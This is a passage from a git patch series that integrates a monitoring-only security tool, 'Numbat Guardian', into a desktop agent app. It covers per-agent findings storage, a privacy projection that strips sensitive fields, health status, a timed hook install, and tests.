set_private_permissions(&dir, 0o700)?; + let findings = dir.join("live.ndjson"); + if findings + .metadata() + .is_ok_and(|meta| meta.len() > MAX_LOCAL_RECORD_BYTES) + { + let previous = dir.join("live.previous.ndjson"); + if previous.exists() { + std::fs::remove_file(&previous) + .map_err(|error| format!("failed to rotate Guardian storage: {error}"))?; + } + std::fs::rename(&findings, previous) + .map_err(|error| format!("failed to rotate Guardian storage: {error}"))?; + } + let mut options = OpenOptions::new(); + options.create(true).append(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + options.mode(0o600); + } + options + .open(&findings) + .map_err(|error| format!("failed to open Guardian storage: {error}"))?; + set_private_permissions(&findings, 0o600)?; + + let output = Command::new(binary) + .args([ + "hook", + "install", + "--agent", + runtime, + "--emit", + "findings", + "--output", + "file", + "--output-file", + ]) + .arg(&findings) + .output() + .map_err(|error| format!("failed to configure Numbat: {error}"))?; + if !output.status.success() { + return Err(format!("Numbat hook install exited with {}", output.status)); + } + Ok(()) + })(); + let health = match result { + Ok(()) => NumbatGuardianHealth { + state: "configured".into(), + detail: format!( + "{runtime} monitoring is configured in detection-only mode; callback activity is not yet verified." + ), + }, + Err(detail) => NumbatGuardianHealth { + state: "disconnected".into(), + detail, + }, + }; + write_health(app, agent_pubkey, &health); +} + /// Read and privacy-project a bounded batch of local Numbat finding records for /// one managed agent. Raw commands, endpoint identity, paths, and evidence are /// intentionally never represented in the return type. @@ -252,9 +406,22 @@ pub fn read_numbat_findings( app: AppHandle, agent_pubkey: String, offset: Option, + session_id: Option, + channel_id: Option, + turn_id: Option, ) -> Result { let path = numbat_findings_path(&app, &agent_pubkey)?; - read_numbat_findings_from_path(&path, offset.unwrap_or(0)) + let expected_context = session_id + .as_deref() + .zip(channel_id.as_deref()) + .zip(turn_id.as_deref()) + .map(|((session, channel), turn)| (session, channel, turn)); + read_numbat_findings_from_path( + &path, + offset.unwrap_or(0), + expected_context, + read_health(&app, &agent_pubkey), + ) } #[cfg(test)] @@ -295,10 +462,22 @@ mod tests { serde_json::to_string(&value).expect("serialize fixture") } + fn test_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "configured".into(), + detail: "test".into(), + } + } + #[test] fn projection_excludes_sensitive_source_fields() { - let projected = - project_finding(finding_json(serde_json::json!({})).as_bytes()).expect("finding"); + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding"); let serialized = serde_json::to_string(&projected).expect("serialize projection"); assert_eq!(projected.severity, "high"); @@ -325,11 +504,17 @@ mod tests { #[test] fn invalid_schema_severity_and_control_text_are_rejected() { assert!(project_finding( - finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes() + finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes(), + "session-safe-01", + "channel-safe-01", + "turn-safe-01", ) .is_none()); assert!(project_finding( - finding_json(serde_json::json!({"severity": "emergency"})).as_bytes() + finding_json(serde_json::json!({"severity": "emergency"})).as_bytes(), + "session-safe-01", + "channel-safe-01", + "turn-safe-01", ) .is_none()); let sensitive_title = project_finding( @@ -337,6 +522,9 @@ mod tests { "title": "Leaked /private/key with token super-secret" })) .as_bytes(), + "session-safe-01", + "channel-safe-01", + "turn-safe-01", ) .expect("finding with untrusted source title"); assert_eq!(sensitive_title.title, "Possible secret exfiltration"); @@ -361,7 +549,13 @@ mod tests { write!(file, "{second}").expect("write partial second"); } - let first_batch = read_numbat_findings_from_path(&path, 0).expect("first batch"); + let first_batch = read_numbat_findings_from_path( + &path, + 0, + Some(("session-safe-01", "channel-safe-01", "turn-safe-01")), + test_health(), + ) + .expect("first batch"); assert_eq!(first_batch.findings.len(), 1); assert_eq!(first_batch.findings[0].finding_id, "fnd-first"); @@ -372,8 +566,13 @@ mod tests { .expect("append"); writeln!(file).expect("complete second"); } - let second_batch = - read_numbat_findings_from_path(&path, first_batch.next_offset).expect("second batch"); + let second_batch = read_numbat_findings_from_path( + &path, + first_batch.next_offset, + Some(("session-safe-01", "channel-safe-01", "turn-safe-01")), + test_health(), + ) + .expect("second batch"); assert_eq!(second_batch.findings.len(), 1); assert_eq!(second_batch.findings[0].finding_id, "fnd-second"); } @@ -384,8 +583,52 @@ mod tests { let path = dir.path().join("findings.ndjson"); std::fs::write(&path, format!("{}\n", finding_json(serde_json::json!({})))).expect("write"); - let batch = read_numbat_findings_from_path(&path, u64::MAX).expect("batch"); + let batch = read_numbat_findings_from_path( + &path, + u64::MAX, + Some(("session-safe-01", "channel-safe-01", "turn-safe-01")), + test_health(), + ) + .expect("batch"); assert!(batch.reset); assert_eq!(batch.findings.len(), 1); } + + #[test] + fn only_projects_exact_complete_source_context() { + let projected = project_finding( + finding_json(serde_json::json!({})).as_bytes(), + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("matching context"); + assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); + assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); + + assert!(project_finding( + finding_json(serde_json::json!({})).as_bytes(), + "another-session", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({"buzz_context": null})).as_bytes(), + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + assert!(project_finding( + finding_json(serde_json::json!({ + "buzz_context": {"channel_id": "other", "turn_id": "turn-safe-01"} + })) + .as_bytes(), + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + } } diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index 5a2464eb9c..ff3dc8e8df 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -612,6 +612,13 @@ pub fn spawn_agent_child( // Enable MCP hook tools (_Stop, _PostCompact) for agents that need them. // Uses "*" because build_mcp_servers() hard-codes the server name to "buzz-mcp". let runtime_meta = known_acp_runtime(effective_command); + if let Some(runtime) = runtime_meta { + crate::commands::numbat_findings::prepare_numbat_monitoring( + app, + runtime.id, + &record.pubkey, + ); + } if runtime_meta.is_some_and(|r| r.mcp_hooks) { command.env("MCP_HOOK_SERVERS", "*"); } diff --git a/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx index 6a59a7416b..7eed8d079f 100644 --- a/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx +++ b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx @@ -1,24 +1,22 @@ -import { Octagon, ShieldAlert } from "lucide-react"; +import { ShieldAlert } from "lucide-react"; import type { NumbatFinding } from "@/shared/api/tauriNumbat"; import { Badge } from "@/shared/ui/badge"; -import { Button } from "@/shared/ui/button"; import { cn } from "@/shared/lib/cn"; export function NumbatSecurityFindings({ - activeTurnId, - canCancelTurn, error, findings, - onCancelTurn, + health, }: { - activeTurnId: string | null; - canCancelTurn: boolean; error: string | null; findings: NumbatFinding[]; - onCancelTurn: () => void; + health: { + state: "configured" | "disconnected" | "unsupported" | "stale"; + detail: string; + } | null; }) { - if (findings.length === 0 && !error) return null; + if (findings.length === 0 && !error && !health) return null; return (
+ {health ? ( +
+ {health.state} + {health.detail} +
+ ) : null} {findings .slice() .reverse() .map((finding) => { - const canAct = - canCancelTurn && - finding.turnId !== null && - finding.turnId === activeTurnId && - (finding.severity === "high" || finding.severity === "critical"); return (
- {canAct ? ( - - ) : null}
); diff --git a/desktop/src/features/agents/ui/useNumbatFindings.ts b/desktop/src/features/agents/ui/useNumbatFindings.ts index ec933e50ac..f6e0dc638c 100644 --- a/desktop/src/features/agents/ui/useNumbatFindings.ts +++ b/desktop/src/features/agents/ui/useNumbatFindings.ts @@ -11,9 +11,15 @@ const MAX_FINDINGS = 100; export function useNumbatFindings( agentPubkey: string, channelId: string | null, + sessionId: string | null, + turnId: string | null, ) { const [findings, setFindings] = React.useState([]); const [error, setError] = React.useState(null); + const [health, setHealth] = React.useState<{ + state: "configured" | "disconnected" | "unsupported" | "stale"; + detail: string; + } | null>(null); React.useEffect(() => { let cancelled = false; @@ -21,13 +27,21 @@ export function useNumbatFindings( let timeoutId: number | null = null; setFindings([]); setError(null); + setHealth(null); async function poll() { try { - const batch = await readNumbatFindings(agentPubkey, offset); + const batch = await readNumbatFindings( + agentPubkey, + offset, + sessionId, + channelId, + turnId, + ); if (cancelled) return; offset = batch.nextOffset; + setHealth(batch.health); setError(null); setFindings((current) => { const base = batch.reset ? [] : current; @@ -45,6 +59,10 @@ export function useNumbatFindings( }); } catch (cause) { if (!cancelled) { + setHealth({ + state: "stale", + detail: "Guardian telemetry is temporarily unavailable.", + }); setError( cause instanceof Error ? cause.message @@ -63,7 +81,7 @@ export function useNumbatFindings( cancelled = true; if (timeoutId !== null) window.clearTimeout(timeoutId); }; - }, [agentPubkey]); + }, [agentPubkey, channelId, sessionId, turnId]); const scopedFindings = React.useMemo( () => @@ -75,5 +93,5 @@ export function useNumbatFindings( [channelId, findings], ); - return { error, findings: scopedFindings }; + return { error, findings: scopedFindings, health }; } diff --git a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx index 9f701c237b..69db9f3e31 100644 --- a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx +++ b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx @@ -14,6 +14,7 @@ import { mergeObserverEventWindows, observerEventScrollId, scopeByChannel, + deriveLatestSessionId, } from "@/features/agents/ui/agentSessionPanelLayout"; import { deriveTranscriptBlockIds } from "@/features/agents/ui/agentSessionTranscriptGrouping"; import type { ObserverEvent } from "@/features/agents/ui/agentSessionTypes"; @@ -106,7 +107,6 @@ export function AgentSessionThreadPanel({ sessionChannelId, ); const canStopCurrentTurn = isWorking && canInterruptTurn; - const numbatFindings = useNumbatFindings(agent.pubkey, sessionChannelId); useEscapeKey(onClose, isOverlay || isSinglePanelView); const scrollRef = React.useRef(null); @@ -137,6 +137,16 @@ export function AgentSessionThreadPanel({ } return null; }, [combinedHeaderEvents, isWorking]); + const activeSessionId = React.useMemo( + () => deriveLatestSessionId(combinedHeaderEvents), + [combinedHeaderEvents], + ); + const numbatFindings = useNumbatFindings( + agent.pubkey, + sessionChannelId, + activeSessionId, + activeTurnId, + ); const latestActivityAt = React.useMemo( () => getLatestActivityTimestamp(combinedHeaderEvents), [combinedHeaderEvents], @@ -473,11 +483,9 @@ export function AgentSessionThreadPanel({
void handleInterruptTurn()} + health={numbatFindings.health} /> { return invokeTauri("read_numbat_findings", { agentPubkey, offset, + sessionId, + channelId, + turnId, }); } diff --git a/desktop/src/testing/e2eBridge.ts b/desktop/src/testing/e2eBridge.ts index 3c22c0e3a3..1ba4215235 100644 --- a/desktop/src/testing/e2eBridge.ts +++ b/desktop/src/testing/e2eBridge.ts @@ -11521,6 +11521,10 @@ export function maybeInstallE2eTauriMocks() { nextOffset: 0, reset: false, rejectedRecords: 0, + health: { + state: "disconnected", + detail: "Guardian has not been attached to this runtime yet.", + }, findings: [], }; case "set_prevent_sleep_active": From a26727ba06c18f5a01dc21a2d5514eb7a031c5d7 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Fri, 31 Jul 2026 10:38:59 -0400 Subject: [PATCH 04/27] fix(desktop): close Guardian review blockers Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src-tauri/src/commands/numbat_findings.rs | 158 ++++++++++++++---- .../src-tauri/src/managed_agents/runtime.rs | 8 +- .../ui/agentSessionPanelLayout.test.mjs | 9 + .../agents/ui/agentSessionPanelLayout.ts | 11 ++ .../channels/ui/AgentSessionThreadPanel.tsx | 15 +- 5 files changed, 153 insertions(+), 48 deletions(-) diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index c4543f2bd0..6eeb3ab14a 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -2,7 +2,9 @@ use std::{ fs::{File, OpenOptions}, io::{Read as _, Seek as _, SeekFrom}, path::{Path, PathBuf}, - process::Command, + process::{Command, Stdio}, + sync::{Mutex, OnceLock}, + time::{Duration, Instant}, }; use serde::{Deserialize, Serialize}; @@ -17,6 +19,8 @@ const MAX_LINE_BYTES: usize = 64 * 1024; const MAX_RECORDS_PER_BATCH: usize = 200; const MAX_IDENTIFIER_CHARS: usize = 160; const MAX_LOCAL_RECORD_BYTES: u64 = 8 * 1024 * 1024; +const NUMBAT_INSTALL_TIMEOUT: Duration = Duration::from_secs(10); +static NUMBAT_INSTALL_LOCK: OnceLock> = OnceLock::new(); #[derive(Debug, Serialize, PartialEq, Eq)] #[serde(rename_all = "camelCase")] @@ -130,6 +134,7 @@ fn safe_timestamp(value: String) -> Option { fn project_finding( line: &[u8], + expected_agent_pubkey: &str, expected_session_id: &str, expected_channel_id: &str, expected_turn_id: &str, @@ -144,6 +149,10 @@ fn project_finding( _ => return None, }; let rule_id = safe_identifier(record.rule_id)?; + let source_agent = safe_identifier(record.source_agent)?; + if source_agent != expected_agent_pubkey { + return None; + } let session_id = record.session_id.and_then(safe_identifier)?; if session_id != expected_session_id { @@ -162,7 +171,7 @@ fn project_finding( rule_id, severity, detected_at: safe_timestamp(record.detected_at)?, - source_agent: safe_identifier(record.source_agent)?, + source_agent, session_id: Some(session_id), channel_id: Some(channel_id), turn_id: Some(turn_id), @@ -197,7 +206,7 @@ fn align_to_next_record(file: &mut File, start: u64) -> Result { fn read_numbat_findings_from_path( path: &Path, requested_offset: u64, - expected_context: Option<(&str, &str, &str)>, + expected_context: Option<(&str, &str, &str, &str)>, health: NumbatGuardianHealth, ) -> Result { let mut file = match File::open(path) { @@ -251,8 +260,10 @@ fn read_numbat_findings_from_path( } if line.len() > MAX_LINE_BYTES { rejected_records += 1; - } else if let Some((session_id, channel_id, turn_id)) = expected_context { - if let Some(finding) = project_finding(line, session_id, channel_id, turn_id) { + } else if let Some((agent_pubkey, session_id, channel_id, turn_id)) = expected_context { + if let Some(finding) = + project_finding(line, agent_pubkey, session_id, channel_id, turn_id) + { findings.push(finding); } } else if serde_json::from_slice::(line).is_err() { @@ -311,13 +322,62 @@ fn set_private_permissions(path: &Path, mode: u32) -> Result<(), String> { #[cfg(not(unix))] fn set_private_permissions(_path: &Path, _mode: u32) -> Result<(), String> { - Ok(()) + Err("Guardian evidence storage is disabled because owner-only permissions are unavailable on this platform.".into()) +} + +fn run_numbat_install( + binary: &Path, + runtime: &str, + findings: &Path, + timeout: Duration, +) -> Result<(), String> { + let mut child = Command::new(binary) + .args([ + "hook", + "install", + "--agent", + runtime, + "--emit", + "findings", + "--output", + "file", + "--output-file", + ]) + .arg(findings) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .map_err(|error| format!("failed to configure Numbat: {error}"))?; + let started = Instant::now(); + loop { + match child.try_wait() { + Ok(Some(status)) if status.success() => return Ok(()), + Ok(Some(status)) => return Err(format!("Numbat hook install exited with {status}")), + Ok(None) if started.elapsed() < timeout => { + std::thread::sleep(Duration::from_millis(50)); + } + Ok(None) => { + let _ = child.kill(); + let _ = child.wait(); + return Err(format!( + "Numbat hook install timed out after {}s", + timeout.as_secs() + )); + } + Err(error) => { + let _ = child.kill(); + let _ = child.wait(); + return Err(format!("failed to wait for Numbat: {error}")); + } + } + } } -/// Idempotently attach Numbat's monitor-only callbacks before a managed runtime -/// starts. Numbat is callback-based (not a daemon), so lifecycle management -/// means keeping the runtime hook installed and its local sink healthy. -pub(crate) fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) { +/// Idempotently attach Numbat's monitor-only callbacks outside the managed +/// runtime's spawn critical path. Numbat is callback-based (not a daemon), so +/// lifecycle management means keeping the hook and its local sink healthy. +fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) { let runtime = match runtime { "codex" | "claude" | "goose" => runtime, _ => return, @@ -363,31 +423,17 @@ pub(crate) fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pu .map_err(|error| format!("failed to open Guardian storage: {error}"))?; set_private_permissions(&findings, 0o600)?; - let output = Command::new(binary) - .args([ - "hook", - "install", - "--agent", - runtime, - "--emit", - "findings", - "--output", - "file", - "--output-file", - ]) - .arg(&findings) - .output() - .map_err(|error| format!("failed to configure Numbat: {error}"))?; - if !output.status.success() { - return Err(format!("Numbat hook install exited with {}", output.status)); - } - Ok(()) + let lock = NUMBAT_INSTALL_LOCK.get_or_init(|| Mutex::new(())); + let _guard = lock + .lock() + .map_err(|_| "Numbat installation lock is unavailable".to_string())?; + run_numbat_install(&binary, runtime, &findings, NUMBAT_INSTALL_TIMEOUT) })(); let health = match result { Ok(()) => NumbatGuardianHealth { state: "configured".into(), detail: format!( - "{runtime} monitoring is configured in detection-only mode; callback activity is not yet verified." + "{runtime} monitoring is configured in detection-only mode; callback activity and managed-agent identity are not yet verified." ), }, Err(detail) => NumbatGuardianHealth { @@ -398,6 +444,14 @@ pub(crate) fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pu write_health(app, agent_pubkey, &health); } +pub(crate) fn prepare_numbat_monitoring_async( + app: AppHandle, + runtime: String, + agent_pubkey: String, +) { + std::thread::spawn(move || prepare_numbat_monitoring(&app, &runtime, &agent_pubkey)); +} + /// Read and privacy-project a bounded batch of local Numbat finding records for /// one managed agent. Raw commands, endpoint identity, paths, and evidence are /// intentionally never represented in the return type. @@ -415,7 +469,7 @@ pub fn read_numbat_findings( .as_deref() .zip(channel_id.as_deref()) .zip(turn_id.as_deref()) - .map(|((session, channel), turn)| (session, channel, turn)); + .map(|((session, channel), turn)| (agent_pubkey.as_str(), session, channel, turn)); read_numbat_findings_from_path( &path, offset.unwrap_or(0), @@ -430,6 +484,8 @@ mod tests { use super::*; + const TEST_AGENT: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; + fn finding_json(overrides: serde_json::Value) -> String { let mut value = serde_json::json!({ "schema_version": "0.2.0", @@ -439,7 +495,7 @@ mod tests { "title": "Secret access followed by network egress", "severity": "high", "detected_at": "2026-07-30T14:40:00Z", - "source_agent": "codex", + "source_agent": TEST_AGENT, "session_id": "session-safe-01", "buzz_context": { "channel_id": "channel-safe-01", @@ -473,6 +529,7 @@ mod tests { fn projection_excludes_sensitive_source_fields() { let projected = project_finding( finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, "session-safe-01", "channel-safe-01", "turn-safe-01", @@ -505,6 +562,7 @@ mod tests { fn invalid_schema_severity_and_control_text_are_rejected() { assert!(project_finding( finding_json(serde_json::json!({"schema_version": "9.9.9"})).as_bytes(), + TEST_AGENT, "session-safe-01", "channel-safe-01", "turn-safe-01", @@ -512,6 +570,7 @@ mod tests { .is_none()); assert!(project_finding( finding_json(serde_json::json!({"severity": "emergency"})).as_bytes(), + TEST_AGENT, "session-safe-01", "channel-safe-01", "turn-safe-01", @@ -522,6 +581,7 @@ mod tests { "title": "Leaked /private/key with token super-secret" })) .as_bytes(), + TEST_AGENT, "session-safe-01", "channel-safe-01", "turn-safe-01", @@ -552,7 +612,12 @@ mod tests { let first_batch = read_numbat_findings_from_path( &path, 0, - Some(("session-safe-01", "channel-safe-01", "turn-safe-01")), + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), test_health(), ) .expect("first batch"); @@ -569,7 +634,12 @@ mod tests { let second_batch = read_numbat_findings_from_path( &path, first_batch.next_offset, - Some(("session-safe-01", "channel-safe-01", "turn-safe-01")), + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), test_health(), ) .expect("second batch"); @@ -586,7 +656,12 @@ mod tests { let batch = read_numbat_findings_from_path( &path, u64::MAX, - Some(("session-safe-01", "channel-safe-01", "turn-safe-01")), + Some(( + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + )), test_health(), ) .expect("batch"); @@ -598,6 +673,7 @@ mod tests { fn only_projects_exact_complete_source_context() { let projected = project_finding( finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, "session-safe-01", "channel-safe-01", "turn-safe-01", @@ -608,6 +684,7 @@ mod tests { assert!(project_finding( finding_json(serde_json::json!({})).as_bytes(), + TEST_AGENT, "another-session", "channel-safe-01", "turn-safe-01", @@ -615,6 +692,7 @@ mod tests { .is_none()); assert!(project_finding( finding_json(serde_json::json!({"buzz_context": null})).as_bytes(), + TEST_AGENT, "session-safe-01", "channel-safe-01", "turn-safe-01", @@ -625,6 +703,16 @@ mod tests { "buzz_context": {"channel_id": "other", "turn_id": "turn-safe-01"} })) .as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .is_none()); + + assert!(project_finding( + finding_json(serde_json::json!({"source_agent": "codex"})).as_bytes(), + TEST_AGENT, "session-safe-01", "channel-safe-01", "turn-safe-01", diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index ff3dc8e8df..bb82f2aed8 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -613,10 +613,10 @@ pub fn spawn_agent_child( // Uses "*" because build_mcp_servers() hard-codes the server name to "buzz-mcp". let runtime_meta = known_acp_runtime(effective_command); if let Some(runtime) = runtime_meta { - crate::commands::numbat_findings::prepare_numbat_monitoring( - app, - runtime.id, - &record.pubkey, + crate::commands::numbat_findings::prepare_numbat_monitoring_async( + app.clone(), + runtime.id.to_string(), + record.pubkey.clone(), ); } if runtime_meta.is_some_and(|r| r.mcp_hooks) { diff --git a/desktop/src/features/agents/ui/agentSessionPanelLayout.test.mjs b/desktop/src/features/agents/ui/agentSessionPanelLayout.test.mjs index 35e1c5db18..647b20c2e7 100644 --- a/desktop/src/features/agents/ui/agentSessionPanelLayout.test.mjs +++ b/desktop/src/features/agents/ui/agentSessionPanelLayout.test.mjs @@ -3,6 +3,7 @@ import test from "node:test"; import { deriveLatestSessionId, + deriveLatestTurnId, observerEventScrollId, resolveDisplayEvents, resolveRawRailLayout, @@ -65,6 +66,14 @@ test("deriveLatestSessionId returns null when no event carries a sessionId", () assert.equal(deriveLatestSessionId(events), null); }); +test("deriveLatestTurnId retains the last completed turn", () => { + const events = [ + { seq: 1, turnId: "turn-1" }, + { seq: 2, turnId: null }, + ]; + assert.equal(deriveLatestTurnId(events), "turn-1"); +}); + // ---- resolveDisplayEvents ---- test("resolveDisplayEvents returns raw override events unchanged", () => { diff --git a/desktop/src/features/agents/ui/agentSessionPanelLayout.ts b/desktop/src/features/agents/ui/agentSessionPanelLayout.ts index 19d6242842..a4d904db64 100644 --- a/desktop/src/features/agents/ui/agentSessionPanelLayout.ts +++ b/desktop/src/features/agents/ui/agentSessionPanelLayout.ts @@ -85,6 +85,17 @@ export function deriveLatestSessionId( return null; } +/** Derive the most recent turn id, including a turn that has just completed. */ +export function deriveLatestTurnId( + events: readonly ObserverEvent[], +): string | null { + for (let i = events.length - 1; i >= 0; i--) { + const turnId = events[i]?.turnId; + if (turnId) return turnId; + } + return null; +} + export function resolveDisplayEvents( scopedEvents: ObserverEvent[], rawEventsOverride: ObserverEvent[] | undefined, diff --git a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx index 69db9f3e31..a1b237d1e1 100644 --- a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx +++ b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx @@ -15,6 +15,7 @@ import { observerEventScrollId, scopeByChannel, deriveLatestSessionId, + deriveLatestTurnId, } from "@/features/agents/ui/agentSessionPanelLayout"; import { deriveTranscriptBlockIds } from "@/features/agents/ui/agentSessionTranscriptGrouping"; import type { ObserverEvent } from "@/features/agents/ui/agentSessionTypes"; @@ -129,14 +130,10 @@ export function AgentSessionThreadPanel({ () => mergeObserverEventWindows(scopedEvents, archivedChannelEvents), [scopedEvents, archivedChannelEvents], ); - const activeTurnId = React.useMemo(() => { - if (!isWorking) return null; - for (let index = combinedHeaderEvents.length - 1; index >= 0; index -= 1) { - const turnId = combinedHeaderEvents[index]?.turnId; - if (turnId) return turnId; - } - return null; - }, [combinedHeaderEvents, isWorking]); + const latestTurnId = React.useMemo( + () => deriveLatestTurnId(combinedHeaderEvents), + [combinedHeaderEvents], + ); const activeSessionId = React.useMemo( () => deriveLatestSessionId(combinedHeaderEvents), [combinedHeaderEvents], @@ -145,7 +142,7 @@ export function AgentSessionThreadPanel({ agent.pubkey, sessionChannelId, activeSessionId, - activeTurnId, + latestTurnId, ); const latestActivityAt = React.useMemo( () => getLatestActivityTimestamp(combinedHeaderEvents), From bbb4aae7658a864a9979fdeb2d82c3dce99bbf29 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Fri, 31 Jul 2026 11:47:01 -0400 Subject: [PATCH 05/27] Bind Numbat findings to managed agents Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- .../src-tauri/src/commands/numbat_findings.rs | 46 ++++++++++++++----- .../src-tauri/src/managed_agents/env_vars.rs | 1 + .../src-tauri/src/managed_agents/runtime.rs | 1 + 3 files changed, 36 insertions(+), 12 deletions(-) diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index 6eeb3ab14a..5af4c8498c 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -85,7 +85,11 @@ fn numbat_dir(app: &AppHandle) -> Result { fn numbat_findings_path(app: &AppHandle, agent_pubkey: &str) -> Result { validate_agent_pubkey(agent_pubkey)?; - Ok(numbat_dir(app)?.join("live.ndjson")) + Ok(numbat_dir(app)?.join(format!("{agent_pubkey}.ndjson"))) +} + +fn numbat_findings_template(app: &AppHandle) -> Result { + Ok(numbat_dir(app)?.join("${BUZZ_MANAGED_AGENT_PUBKEY}.ndjson")) } fn health_path(app: &AppHandle, agent_pubkey: &str) -> Result { @@ -149,10 +153,12 @@ fn project_finding( _ => return None, }; let rule_id = safe_identifier(record.rule_id)?; - let source_agent = safe_identifier(record.source_agent)?; - if source_agent != expected_agent_pubkey { - return None; - } + // Numbat's source_agent identifies the runtime (for example, `codex`), not + // the managed Buzz agent. Agent attribution is instead established by the + // trusted per-agent output path selected from BUZZ_MANAGED_AGENT_PUBKEY. + // Still validate the upstream field before accepting the record, but never + // mistake it for a Buzz identity. + safe_identifier(record.source_agent)?; let session_id = record.session_id.and_then(safe_identifier)?; if session_id != expected_session_id { @@ -171,7 +177,7 @@ fn project_finding( rule_id, severity, detected_at: safe_timestamp(record.detected_at)?, - source_agent, + source_agent: expected_agent_pubkey.to_string(), session_id: Some(session_id), channel_id: Some(channel_id), turn_id: Some(turn_id), @@ -398,12 +404,12 @@ fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) std::fs::create_dir_all(&dir) .map_err(|error| format!("failed to create Guardian storage: {error}"))?; set_private_permissions(&dir, 0o700)?; - let findings = dir.join("live.ndjson"); + let findings = numbat_findings_path(app, agent_pubkey)?; if findings .metadata() .is_ok_and(|meta| meta.len() > MAX_LOCAL_RECORD_BYTES) { - let previous = dir.join("live.previous.ndjson"); + let previous = dir.join(format!("{agent_pubkey}.previous.ndjson")); if previous.exists() { std::fs::remove_file(&previous) .map_err(|error| format!("failed to rotate Guardian storage: {error}"))?; @@ -427,13 +433,14 @@ fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) let _guard = lock .lock() .map_err(|_| "Numbat installation lock is unavailable".to_string())?; - run_numbat_install(&binary, runtime, &findings, NUMBAT_INSTALL_TIMEOUT) + let findings_template = numbat_findings_template(app)?; + run_numbat_install(&binary, runtime, &findings_template, NUMBAT_INSTALL_TIMEOUT) })(); let health = match result { Ok(()) => NumbatGuardianHealth { state: "configured".into(), detail: format!( - "{runtime} monitoring is configured in detection-only mode; callback activity and managed-agent identity are not yet verified." + "{runtime} monitoring is configured in detection-only mode with findings isolated to this managed agent." ), }, Err(detail) => NumbatGuardianHealth { @@ -495,7 +502,7 @@ mod tests { "title": "Secret access followed by network egress", "severity": "high", "detected_at": "2026-07-30T14:40:00Z", - "source_agent": TEST_AGENT, + "source_agent": "codex", "session_id": "session-safe-01", "buzz_context": { "channel_id": "channel-safe-01", @@ -539,6 +546,7 @@ mod tests { assert_eq!(projected.severity, "high"); assert_eq!(projected.evidence_count, 2); + assert_eq!(projected.source_agent, TEST_AGENT); assert_eq!(projected.channel_id.as_deref(), Some("channel-safe-01")); assert_eq!(projected.turn_id.as_deref(), Some("turn-safe-01")); for forbidden in [ @@ -597,6 +605,20 @@ mod tests { assert!(validate_agent_pubkey(&"g".repeat(64)).is_err()); } + #[test] + fn runtime_label_is_not_treated_as_managed_agent_identity() { + let projected = project_finding( + finding_json(serde_json::json!({"source_agent": "claude-code"})).as_bytes(), + TEST_AGENT, + "session-safe-01", + "channel-safe-01", + "turn-safe-01", + ) + .expect("finding from agent-scoped file"); + + assert_eq!(projected.source_agent, TEST_AGENT); + } + #[test] fn reads_only_complete_records_and_advances_cursor() { let dir = tempfile::tempdir().expect("tempdir"); @@ -711,7 +733,7 @@ mod tests { .is_none()); assert!(project_finding( - finding_json(serde_json::json!({"source_agent": "codex"})).as_bytes(), + finding_json(serde_json::json!({"source_agent": "bad source"})).as_bytes(), 